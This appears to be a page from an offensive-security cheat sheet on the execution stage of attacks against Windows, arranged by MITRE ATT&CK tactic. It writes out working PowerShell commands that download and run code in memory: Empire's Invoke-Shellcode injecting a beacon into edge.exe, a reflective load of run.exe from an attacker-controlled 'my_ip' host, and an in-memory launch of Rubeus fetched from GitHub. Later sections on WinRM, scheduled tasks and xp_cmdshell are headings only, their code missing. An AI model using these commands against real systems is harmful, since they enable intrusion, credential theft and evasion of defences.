Execution

The adversary is trying to run malicious code. https://attack.mitre.org/tactics/TA0002/

Executing Shellcode

Empire's Invoke-Shellcode

IEX (New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/code_execution/Invoke-Shellcode.ps1');
$b = [System.Io.File]::ReadAllBytes("C:\beaconx64.bin");
Invoke-Shellcode -ProcessId $(ps edge.exe).Id -Shellcode $b;

Or Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)

Executable to In-Memory Assembly Code

Reflectively loading a binary as assembly code

[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://my_ip/run.exe'))

Download and Execute in Memory

GitHub: https://github.com/jnqpblc/Misc-PowerShell/blob/master/SharpDLExec.ps1

$u = "https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.0_Any/"
$f="Rubeus.exe"
$c = "1"
[byte[]] $a = (New-Object System.Net.WebClient).DownloadData($u+$f)
$assem = [System.Reflection.Assembly]::Load($a);
#$assem.CustomAttributes
#$assem.EntryPoint |ft Name, ReflectedType, Module, IsPublic
([Type]$assem.EntryPoint.DeclaringType.FullName.ToString())::([String]$assem.EntryPoint.Name).Invoke($c)

Additionally, there are additional methods here: https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md

WinRM

The following will establish a WinRM session and execute commands remotely.

Or, you can gain an interactive session.

PowerShell Execution via Text File

Scheduled Task Creation

Or

PowerUpSQL

GitHub Repo: https://github.com/NetSPI/PowerUpSQL and more thorough cheat sheet: https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet

MSSQL Server Enumeration

Enumerate User Privileges

Full credit to: https://github.com/lkys37en

Enable xp_cmdshell / Execute Commands

Import the PowerShell ActiveDirectory Module

3MB
Open

Last updated